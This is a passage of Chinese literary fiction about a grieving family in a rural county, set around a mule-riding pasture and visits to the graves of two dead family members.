就说建筑吧,从前县城新修什么自建房,都是要管牧场租驴子的,现在全都是路,车子能解决所有事情。真只有山上娱乐设施开发,租了一批,就没什么了。 回老屋时,柳丝丝把后备箱里的两箱纸钱搬了出来,放在了堂屋的一角。 刘孟德见她来,起身往厨房走:“我给你留了点,温在灶里。” “吃过了。”柳丝丝这样说,还是跟着刘孟德一块进了厨房,看他打开锅盖,里头是用铁盅放好的餐食,“今儿吃的不错。” “还吃点不?热一下就行。” “不吃了。” “那我放冰箱里去。” 柳丝丝转头,才发现冰箱都被刘孟德移了过来。她这才打量厨房,还重装了一遍灶台,可能刘孟德真怀着破釜沉舟的心重新住进来的吧。要陪着他早亡的幺子。 刘孟德把饭放进了冰箱里,里头还有些舒化奶,他拿了两瓶,一瓶给了柳丝丝。 “改天给你装个空调?”柳丝丝往堂屋走。 “不用,不热。”刘孟德往外走,他在壁柜拿了一盘蚊香,掏出打火机点燃,放在了桌下的蚊香盘里,“我还以为你今天走了呢。” 那还留什么饭?柳丝丝想,说是说:“我都说了休假呢。” “晚上你回去睡吧,这边蚊子多。”刘孟德说。 “我睡楼上吧。”柳丝丝感觉智齿又开始痛了,应该早点去拔掉的,“凑合一下就行。” “行吧。”刘孟德这样说,表情可没什么勉强。 刘孟德成了患得患失的那位,要通过反复确定,来饱足自己的安全感。另一方面,他的示弱总带着大家长的强迫劲儿,总是让柳丝丝被迫顺着他的心意来。 柳丝丝不介意这样。刘孟德的图穷匕见,反而让她很舒心。 现在还不是睡觉的时候,柳丝丝把电脑放在桌上,开机继续工作。 刘孟德也有工作,他在盘算草场的账目。灯的走线麻烦,牵连这电,他只能自己用个青蛙台灯来照明。 这么幼稚的灯,自然是从前刘丕留下的。 可惜刘丕不是爱学习的小孩,才上小学就是吊车尾,刘孟德生气压着学习,搞得这辈子学也没学好,玩也没玩好。真到住院的时候,刘丕还天真地打电话给柳丝丝,问她要怎么通关游戏。他兴奋地叫着:“姐姐,住院真好。” 真到了病入膏肓的时候,游戏镇痛不够了,注射器一针一针下去,刘丕日渐颓萎,偶尔还是要电话问一下柳丝丝游戏的进展到哪了。 柳丝丝突然觉得自己的坚守被净化了,就回来了。她不喜欢这种净化,她宁可浑浊着。 旅游的工作就那样,她深谙边工作边学习的道理,上岗丝毫不心虚,做起导游工作不算难。 灯光微暗,刘孟德揉了揉眼睛,柳丝丝察觉到他是想睡了,又想多让她陪陪。 “晚上吃药没?” “没有,睡前吃。” “那现在吃吧,也该睡了。” “我去烧水。” 刘孟德起身走进了厨房,柳丝丝目光盯着电脑屏幕。她牙疼得受不了,一手撑着腮帮子,支着脑袋,一手点开柳珍的朋友圈,最新一条是在瀑布旁拿着丝巾的拍照,可能是想藏衣服上旅行社的logo,显得动作不太自然。 刘丕的死让柳珍大病,柳丝丝安排这趟旅游,让人恢复不少,其实刘孟德该同去的,说着要等高架负责人对接,留了下来。 开水壶叫起来又被堵住,像是岔气的咳嗽,一阵一阵的。 刘孟德端着杯子出来,又去取药盒,一颗一颗分出来,放在项目表上,数清楚了,再分了几次咽下去。 “过两天还有团,给你报一个?” “不要,不方便的,还要买保险。” “你在这一个人住,我也不放心。” “所以让你回来。” “我上去睡了,你也早点睡。” 上次回来,柳丝丝也是在二楼住的。那次走的时候,就有预兆,所以把床单被子都用防尘袋裹起来,这会儿睡,直接拿出来就行。 她躺下来了,感觉蚊子太多,又下楼去翻柜子,找到了蚊香。 “丝丝?” “点蚊香。” “你拿我的。” “打火机在哪?”柳丝丝没摸到,想走进厨房用灶台点,又看着一角还在燃的红烛,走了过去,把蚊香放在烛火上,“你自己睡。” “我又梦见你弟弟了,他说冷,我明天想上山给他烧点衣服。” “那行,早点睡,明早收拾一下,我和你一块上山。” 刘孟德是侧着身的,柳丝丝确信他没看到这一幕。可能是他猜到了,不敢翻身过来。 蚊香受潮,终于燃了起来。有烟飘起来,融进了香里,分不清哪股。 红烛还在落泪。 _ 一个人睡相不好,但被睡袋封印,勉强能禁锢住,身旁的人还是能睡个好觉。要是左右两边的人睡相都不好,右边那位没有封印,武力超群呢? 昭岁中途受不了了,把大霜摇醒,自己继续睡,到天快亮时,大霜裹着被子走了。等到她醒来时,她打开帐篷一个缝,看着大霜正在指导映年练球。 “你怎么不挂二手网呢?还能卖掉钱。”大霜问。 “想扔了,真的,回血都不想了。”最初是映年想早点扔了断掉念想,后来齐美裳教训组长弄坏了,真就不太能二手卖掉了,“线崩掉了,不知道怎么崩的,放那,第二天就发现崩了。” “可能拉的太紧了。” 映年看着手里的拍子,击球时,她在感受上没有太大的差别。她一直是这样的挥拍,球来了,就打过去,只可能没实力回击,但绝对不会主动放弃。 “为什么继续练呢?”大霜又问。 “体验课到期了,太贵了,我连续跑了几家店都是蹭体验。” “我没想到你在乎这个。” “嗯,那会儿缺钱。”更确切的是说,那会儿缺钱租房。映年对“家”认识比较浅,总觉得复婚的新房很奇怪,想要找个新的居所。省钱自然是首步。 “昭岁来找海洋哥,你怎么想?” “我挺后悔的。” “后悔什么?” “他病重的时候,我总觉得尴尬,一直没去探望过。你知道的,我爸还有个女朋友,她女儿都去过一趟医院,就我没去。” “你又不是特聘专家,去不去对他影响不大。” “是,他对于昭岁来说是父亲,对于我来说就是一个叔叔。” “那你这次陪她来,怎么想的?” “是有遗憾吧,但主要是陪她。” 映年双手握拍,击出了一颗球。她即便是不愿意承认,但不得不说,对于刘海洋的情绪,更多时候带着怜悯。 昭岁钻出帐篷,这场话题结束了。 早餐是在店里吃的,老板认识大霜,问又来同学探望,大霜说:“不是同学,是姐妹。” “咋了,还有同学来拜访呢?”昭岁问。 “昨天有个师弟来找我打球。”大霜说。 昭岁“啊”一声,又兴致恹恹“噢”了一声。 大霜剥开两个鸡蛋,把蛋黄给了昭岁,自己吃蛋白。 映年看着,主动说:“我也吃黄。” 大霜就不客气了,又点了俩鸡蛋,把蛋黄给了映年,自己独享蛋白。光是鸡蛋还不够,还有馒头夹着两块咸菜,她靠在椅子上,饭量是姐妹二人的总和。 就早起早睡的习性而言,这点很像是齐美裳。早上她起来已经跑了五公里,回来和映年讲网球知识,纯属是舒展运动。 大霜的身高在南方城市尤其突出,初中就到了一米八的高度,倒是高中没怎么涨,停留在了这个高度。头发长了不少,从寸头到现在齐耳了,戾气没那么重了。 她手长脚长的,皮肤偏黑,今天穿着个背心,胳膊上有颜色分明的分界线,像是天然的袖子。昭岁特意注意她的手臂,在左右来回看,比较着是不是右手臂更粗。过了一晚上后,还剩点的陌生感荡然无存了。 大霜和群里说的一样,真报了鹊大。 “北校区好吃的多点,我吃食堂多,聚餐很少,都是听她们说的。”映年说。 “你又聚餐,住宿舍,旅游也没那么多,还偶尔打工,怎么缺钱?”大霜问。 映年扫一眼昭岁,还是说:“有进骨科的板友,筹点钱,大头还是捐给了刘叔叔。” 昭岁转头看映年,大霜也在笑。映年难得不好意思。 这话题打住了。 大霜继续问学校:“是不是要买个电动车方便点?” “都行吧,我一般走路。” “不一般呢?” 映年被这问句幽默到了,她说:“不一般就跑,滑板一般不代步,人太多怕危险。” “电动车不是俩位置吗,你们宿舍都没车的?” “有车……” 大一购买靴子时,提出一起买电动车,二三号床合买了一辆,一号床找她一块买,提车的节骨眼吵了架,后头就是一号床一人买了,映年也没说搭车的事情。 她把这事直接说出来了。 大霜的评价是:“我从另一个角度挺佩服你的,真有骨气,一点都不求人。” 这提醒了昭岁,她夹了一块咸菜,被酸得不行,狂喝两口豆浆,问大霜:“黄柠檬告诉你的,我来了?” “知道还问。” “你和黄柠檬怎么闹翻的?” “那也不影响我俩和你的关系,话题关于你还是能聊两句。”大霜反问,“你找我问,难道比找她问更好开口?” “我问过她,她不愿意说。” “那我愿意说?” “你不愿意说?” “我不愿意。” 昭岁看着大霜的神情,突然笑了。 “怎么?”大霜问。 “你俩真不一样,她不愿意说是扯来扯去的,你就是直接说。”昭岁说。 大霜咀嚼着咸菜在认真思考,看着昭岁牙酸,映年见两人互动,也夹了一筷子咸菜。 有被酸到。 “我是觉得回忆本身很难客观,尤其是对峙双方的,要过这么久来让中间人判案,总有点为自己辩护的意思,这也代表可能抨击到她。”大霜说。 昭岁去想当时黄柠檬的表情,她说:“黄柠檬肯定没你这么想。” “我不管她怎么样,反正我是这样。” 接下来活动是大霜安排,先去骑骡子,再打会儿球,下午和柳丝丝一块进城。刘海洋的墓地在城乡交接的公墓。 草场就有骑骡子的生意,多数都是训好的温顺骡子,配上鞍就能骑。 大霜自然对这边生意了解,打声招呼就带着昭岁姐妹俩进入挑选。和马类多样性有点差别,骡子看上去体型和相貌差不多,毛色和脸面稍有不同。 她们挨着看了一圈,选了三匹出来,坐上去。 这是柳丝丝家的产业,昭岁还是知道的。 “丝丝姐怎么没在?”昭岁问。 “她去上坟了。”大霜说。 “下午一块去不行吗?” “地方不一样,刘丕住山上。” _ 上山时,柳丝丝走在后头,刘海洋在前头。 山上不能点火,说是烧衣服过去,只能在家门口烧,这会儿刘孟德手里拎着的,也就是舒化奶。 操场后面这座山分了田,柳丝丝特意找的大师来算,刘丕埋在山尖上。 墓碑还没立好,现在就是一个坟包。刘孟德来得勤,花圈都干净得很,开了舒化奶倒在坟前,念着让他来喝。 这样上山下山,锻炼倒也不是坏事。柳丝丝想着,坐在一旁的石头上,看着新播种下的万年青,又去想舒化奶会不会让这树根烂掉。 牙又开始疼了。 太阳照到顶头,很热,石头发烫,坐了一会儿,她蹲着,刷了会儿手机,信号不好,只能翻已经加载完的聊天记录。 有个没老板的工作室群,一帮子人离职后都没退,看着现任的在职吐槽项目进程,幸灾乐祸地发“哈哈哈”,在对方要离职前又劝“三思啊,工作不好找”。 而她在群里,标签是“回家继承家业”,在此之前调侃还有一个标签“网恋遇见贵公子”。 今天群里聊的无非是“哪哪家餐馆转让了,真够难吃的终于倒闭了”“受不了这也太多人了吧,鞋没给我挤掉”“能不能太阳关掉,没沾枕头两下就亮了”…… 群名是“狗屎才做游戏梦”,但群里这些人,像柳丝丝一样回归转行的微乎其微。大多数人还是留在大城市中,继续换个公司继续呆着,连跳槽的情况都很少,跨界谨慎到可能是从游戏到动漫,大差不多的。 都说:“真羡慕你啊,你是穷人的苦都没吃过。” 这点确实没说错。 刘孟德蹲了很久,絮絮叨叨一阵,站起来一阵眩晕,柳丝丝眼疾手快过去服住他。 他说:“下山吧。” 两人往山下走。 父女俩没想到能在山腰上碰见刘黛。她随母离开多年,早就与刘家断了联系,有人说见过她上坟,没想到是真的。 刘黛不是一个人,还有同行的女人,年纪与她相仿。 柳丝丝是业内混,就这么大点的圈子,自然听过刘黛的悲惨项目,不过到底有刘家的关系在,彼此都不熟。 刘孟德却如临大敌,在二人身上打量。但真走近时,刘孟德又客客气气的招呼。 下山就那条路,四人往下走,没话说。 到草场时,有三人骑着骡子在转悠。柳丝丝望过去,看着昭岁往这边来。 昭岁与刘黛打招呼:“哇,同路啊。” 大霜也骑着骡子过来,扫一眼刘黛二人,再看向昭岁:“见过?” 刘黛说:“乐园碰见的。” 映年是最后过来的,她在骡子上非常不适应,需要有人帮忙牵着,走得很慢。她不明白昭岁对这俩骑车的这般热情。 昭岁说:“来骑骡子?” 这边草场有这个项目,不过游客一般多。 刘黛说:“上坟。” 昭岁噎住了。 大霜说:“有什么好上的?” 刘黛看着大霜,又晃一眼刘孟德和柳丝丝,最后落眼在昭岁身上,突然笑了。 “以前他说我中邪了,我现在才是中邪了。”刘黛收搭在一旁女人肩膀上,脑袋歪歪地靠着,“跋山涉水也要故意恶心他。” “人都走了……” 刘孟德话还没说完,刘黛打断,说话很不客气,面上是笑意盈盈:“那我放不下,我凭什么死了就无所谓了。” 昭岁的骡子低头在吃草,她只能稍稍倾斜着身子,保持平衡。听着这番话,她异常震撼。 这下刘孟德的脸挂不住了,柳丝丝轻轻扯了一下他的衣摆,制住了话。 刘黛二人笑笑,离开了草场,去解开锁在栏杆外的自行车。 映年惊异地发现:“她们车上没车座子,被偷了吗?” 昭岁:“本来就没有,你才发现?” 大霜疑惑地转向映年:“真玩极限的?” 映年:“啊?” 昭岁:“山地自行车就是这样。” 柳丝丝让员工去忙,帮忙牵着映年的缰绳,五人往回走。 刘孟德煞有介事问:“你和小李还在谈没?” 柳丝丝回:“在。” 大霜目光转向柳丝丝的背影。今天要上山,柳丝丝却穿了一套不太利索的衣服。上身是粉色的大码短袖,下身的浅蓝色裙子一层一层的,到膝盖的位置,脚上更是夸张的白色堆堆袜,套着一双皮鞋。 上山下山,还真没沾到尘。 “哪天越来吃个饭,正好你妈回来了。” “他工作外派了。” “去哪了?” “他老家那边。”柳丝丝说,“你放心,我不是。” “我没这意思。” 刘孟德没在问了。 真有耐心。大霜看着柳丝丝,真是又乖又坏,太会装了。 不说柳丝丝爱情长跑多稳定,从最初网恋到现在,大霜知道的也是分分合合 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“我帮你回忆一下?你嫌电脑有辐射干扰珍姐,拿到河里去扔了。”大霜和刘孟德平辈,也看穿了他的日薄西山,问话是完全是一种逼迫就范。 “……那会儿丝丝小,总是怕她被骗了。” “哦……”大霜若有所思的点点头,视线来回在父女身上打转,摸了摸身前骡子的耳朵,倾身对着骡子说,“怕被骗了。” 柳丝丝说:“那会儿也不知道他情况这么好。” 刘孟德听这话,感觉当事人帮腔,便说:“我就是觉得互联网认识的不靠谱。” 大霜说:“靠谱不靠谱和人有关,和认识方式没关系。” 柳丝丝有点烦大霜这股劲,不太希望大霜来管闲事。大霜家,到底还是要受到刘孟德的照拂,没工作的人可能对这份照拂体认不多。 她说:“挺好的,都挺好的。” 刘孟德喘了声气,没再说话。再走会儿,他接了个电话,说有事,不带着小孩散步了。 四人在溪边的步道上继续走。 映年让柳丝丝一直牵着,很过意不去,想下来,被她阻止了。 “没事,大霜朋友嘛。”柳丝丝说。 “你这人太假了。”大霜反驳她。 “怎么了?”柳丝丝抬头看大霜,一张脸天真无害。 大霜看着,竟然说不下狠话了。她也落入陷阱。 昭岁早就注意到柳丝丝的打扮了。昨天在车上看到抱枕,没好意思问,怕是巧合,今个儿见了这一身衣服,能够确定同好身份了。这倒不是角色扮演的服装,只是联名赞助,不过柳丝丝会搭配,看上去就是很“另类”。 她就着衣服的来历打开话题,柳丝丝很快接上了,俩人聊起这项动漫,热络起来。 “我也想我快三十的时候,也能穿着这样穿常服。”昭岁说。 “当然可以啦。”柳丝丝说,“这和年龄没关系的,八十岁都可以。” “不是的,我没那么厉害。”昭岁开始变得坦率了,她盯着大霜的发型很是崇拜,“我中学时候扎过一次双马尾,课间操就听见后面的人在笑,我撑着,没撑住,中午就把头发扎了单马尾。” 大霜记得那次。中午睡醒,看着黄柠檬的发型变成了双马尾。可能就是在那一刻,她认可了黄柠檬。——嗐,人家也不一定需要她认可。 中学时期的映年很难去理解昭岁的处境,当下共情更多源于昭岁的情绪。她看现在昭岁的发型。她头发到肩膀的位置,今天扎了个低马尾。昭岁一直是低马尾,低调的低马尾。 柳丝丝问:“那你中学穿校服吗?” 昭岁说:“穿啊,必须穿。” “那你改没?修裤边什么的。” “有。” 柳丝丝低低笑,昭岁有些不好意思。 大霜想到了好玩的:“她高中那会儿爱去网吧,都是学生,教导主任老爱来查。没穿校服,也逼着你把身份证亮出来,大人的威严总是压小孩嘛。后来她搞了套隔壁学校的校服,教导主任来查看是隔壁学校就不管了。” 昭岁惊讶:“真的呀?” 柳丝丝说:“大霜在鹊市读书呢,我俩隔这么远,她能知道什么。” 大霜白眼:“对,网恋也是隔很远哈。” 昭岁更惊讶了:“姐,你好潮。” 柳丝丝忍无可忍地停了一下,送了手里的缰绳,去拍了一下大霜的骡子,骡子往前跑了几步,拉开四五米的距离。 “你有过什么情况没?”柳丝丝问。 “不算情况,最多是悸动,离喜欢差点,更不说恋爱。”昭岁说。 “都毕业了,怎么不试试?” “不会喜欢我的,我也不想试。” 大霜勒住绳索停着,等她们,又行到一条线上。 “少问。”大霜和柳丝丝眼神对视,斜眼示意骡上的映年,柳丝丝看过去,又和大霜眼神相撞。 柳丝丝的眼神再次回到昭岁身上,说了声“噢”。 映年不明所以,对此开放:“不结婚恋爱也行。” 她竟听到三人齐齐“噢”了一声。 映年:“?” 越往东边走,越靠近河里挺拔的高架柱子,这会儿还没搭建桥,走近了,远比远观着大,上次涨水这里也受到了影响,白灰色的柱子上有一条赭黄色的水位线。 规划的时候占了一点草场的地,刘孟德很难过,总担心会影响养殖生意,县里的人却很高兴,这边路修多了,更方便出行。 大霜也觉得比较好,即便真的建成时刻,她享受的情况也不多,总归是发展了。 柳丝丝不这样想。不是因为养殖场的关系,她认为刘孟德杞人忧天,这点完全不足以多大影响,从传统转文旅发展也不错的。她更多的理由是不想回来。 谈到去外面读书时,只有映年留在了故乡,其她三人都是去了外地。 为什么?四人在聊原因。 映年:“不是特意留的,如果出去,也能出去。如果说私心下,我也会留在鹊市吧,潜意识更倾向于把控之中的东西。” 昭岁:“我总觉得离家才行,更像是决心,虽然可能真算不上历练,有时候有种想摆脱吧。” 大霜:“鹊市对我来说更像是吧,反而螺市满打满算也就两三年,更多是父母的故乡。我在鹊市是螺市人,我在螺市又是鹊市人,我可以找不到方向,我也可以就是我。” 柳丝丝:“我觉得都行。” 大霜:“你真有意思。” 柳丝丝不管她的嘲讽,不过说话稍稍不客气起来:“骡子就这样,它们无所谓吧。” 大霜看她,倏然展开笑,对柳丝丝这份讥讽很是满意,伸着手在摸前头骡子的脑袋。 柳丝丝对大霜的反应已经免疫了。 她抬头眺望,一层层的水地山路有拔高的高架柱子,恍如钉在土壤中的钉子,一颗一颗卯得很紧,分配得当,看起来坚不可摧。 柳丝丝尤其擅长赶路。 从家里到学校,做公共大巴要转两趟车,来回四十元整,花费两个小时。运气好,碰上同镇一起打车回家,七人座面包车,没有执照,理应是黑车,能两小时到镇上,单人付费五十五块钱。 不过要想回家,还得走一截小路,约莫两公里。土路不好走,又拿着行李,便坐摩托车,理应也是黑车。她一手领着行李箱,一手照着后座的杆子。 后来刘家出钱修路,小车也能开进来,刘孟德找人专车专送,直接一站回家。 骡县现在状况更好了,房子起来,路铺起来,车也多起来了。房子占了地,路就不够宽,逢年过节返乡祭祖的要回,可得在公路塞上十几个小时。 柳丝丝总以这种理由不回,刘孟德又退一步,要说去机场接她。柳丝丝又搬出工作实习加班的理由,对方表示老爹可以养你,当她反问草场归谁时,电话那头不说话了。 学费、生活费、住宿费,刘孟德的钱一分没亏。这些是施舍的小恩小惠——诞下刘丕时,或许更早,早在更名换姓时——柳丝丝已经成为预备役的弃子。 只是刘孟德的商人属性,去营造虚幻的甜蜜气息,好在柳丝丝一早就嗅到危机。 对于中学时期,卧室的房门就是分界线。大学到工作,距离让柳丝丝倍感安全。 现在呢?高架让故乡和远方的界限变得模糊。 柳丝丝说不准自己的感受。